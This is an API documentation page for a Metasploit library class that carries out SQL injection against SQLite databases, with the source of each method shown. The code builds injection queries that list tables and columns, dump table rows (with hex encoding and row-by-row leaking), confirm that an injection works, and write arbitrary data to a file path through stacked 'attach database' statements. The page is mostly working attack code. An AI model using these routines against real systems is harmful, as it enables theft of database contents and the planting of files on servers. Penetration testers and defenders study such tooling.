Class: Msf::Exploit::SQLi::SQLitei::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/sqlitei/common.rb

Direct Known Subclasses

BooleanBasedBlind, TimeBasedBlind

Constant Summary collapse

ENCODERS =

Encoders available for SQLite

{
  hex: {
    encode: 'hex(^DATA^)',
    decode: proc { |data| Rex::Text.hex_to_raw(data) }
  }
}.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ SQLi::SQLitei::Common

Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options


23
24
25
26
27
28
29
30
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 23

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  opts[:concat_separator] ||= ','
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  super
end

Instance Method Details

#dump_table_fields(table, columns, condition = '', limit = '') ⇒ Array

Dumps data from a given table

Parameters:

  • table (String)

    The name of the table

  • columns (Array)

    an Array of Strings, the names of the columns to retrieve

  • condition (String) (defaults to: '')

    an optional condition, return only records that satisfy it

  • limit (Integer) (defaults to: '')

    optional, limit the number of rows to return to this value

Returns:

  • (Array)

    an array of rows, each row being an array of strings, strings being values at the given columns


77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 77

def dump_table_fields(table, columns, condition = '', limit = '')
  return '' if columns.empty?

  one_column = columns.length == 1
  if one_column
    columns = "ifnull(#{columns.first},'#{@null_replacement}')"
    columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
  else
    columns = columns.map do |col|
      col = "ifnull(#{col},'#{@null_replacement}')"
      @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
    end.join("||'#{@second_concat_separator}'||")
  end
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = limit.to_i
  if num_limit > 0
    limit = ' limit ' + num_limit.to_s
  end
  retrieved_data = nil
  if @safe
    # no group_concat, leak one row at a time
    row_count = run_sql("select count(1) from #{table}#{condition}").to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select substr(cast(#{columns} as blob),^OFFSET^,#{@truncation_length}) from " \
        "#{table}#{condition} limit 1 offset #{current_row}")
      else
        run_sql("select cast(#{columns} as blob) from #{table}#{condition} limit 1 offset #{current_row}")
      end
    end
  else
    if num_limit > 0
      alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
      if @truncation_length
        retrieved_data = truncated_query('select substr(group_concat(' \
        "#{alias1},'#{@concat_separator}'),"\
        "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as blob) #{alias1} from #{table}"\
        "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select group_concat(#{alias1},'#{@concat_separator}')"\
        " from (select cast(#{columns} as blob) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      end
    else
      if @truncation_length
        retrieved_data = truncated_query('select substr(group_concat(' \
        "cast(#{columns} as blob),'#{@concat_separator}')," \
        "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator)
      else
        retrieved_data = run_sql("select group_concat(cast(#{columns} as blob),'#{@concat_separator}')" \
        " from #{table}#{condition}#{limit}").split(@concat_separator)
      end
    end
  end
  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_table_columns(table) ⇒ Object

Returns the names of the columns of the given table

NOTE: might not work if pragma_table_info is not supported, use run_sql,
and query sql from sqlite_master if you need it in older versions of SQLite
@param table [String] The name of a table
@return [Array] an array of strings, the names of the columns of the given table

55
56
57
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 55

def enum_table_columns(table)
  dump_table_fields("pragma_table_info('#{table}')", %w[name]).flatten
end

#enum_table_namesObject

Returns the names of the tables present on the current database

@return [Array] an array of Strings, the names of the tables in the current database

44
45
46
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 44

def enum_table_names
  dump_table_fields('sqlite_master', %w[tbl_name], "type='table'").flatten
end

#test_vulnerableObject

Returns true if the SQL injection is found to work as expected

@return [Boolean] whether the check determined that the SQL injection works

143
144
145
146
147
148
149
150
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 143

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  query_string = "'#{random_string}'"
  query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
  output = run_sql("select #{query_string}")
  (@encoder ? @encoder[:decode].call(output) : output) == random_string
end

#versionObject

Returns the version of SQLite in use

@return [String] The version of SQLite in use

36
37
38
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 36

def version
  call_function('sqlite_version()')
end

#write_to_file(fpath, data) ⇒ void

This method returns an undefined value.

Attempt writing data to the file at the given path Note: target must support stacked queries, and injection point must be at the start of a new query


64
65
66
67
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 64

def write_to_file(fpath, data)
  db, tbl, col = 3.times.map { Rex::Text.rand_text_alpha(rand(2..5)) }
  raw_run_sql("attach database '#{fpath}' AS #{db}; create table #{db}.#{tbl}(#{col} blob); insert into #{db}.#{tbl}(#{col}) values('#{data}')")
end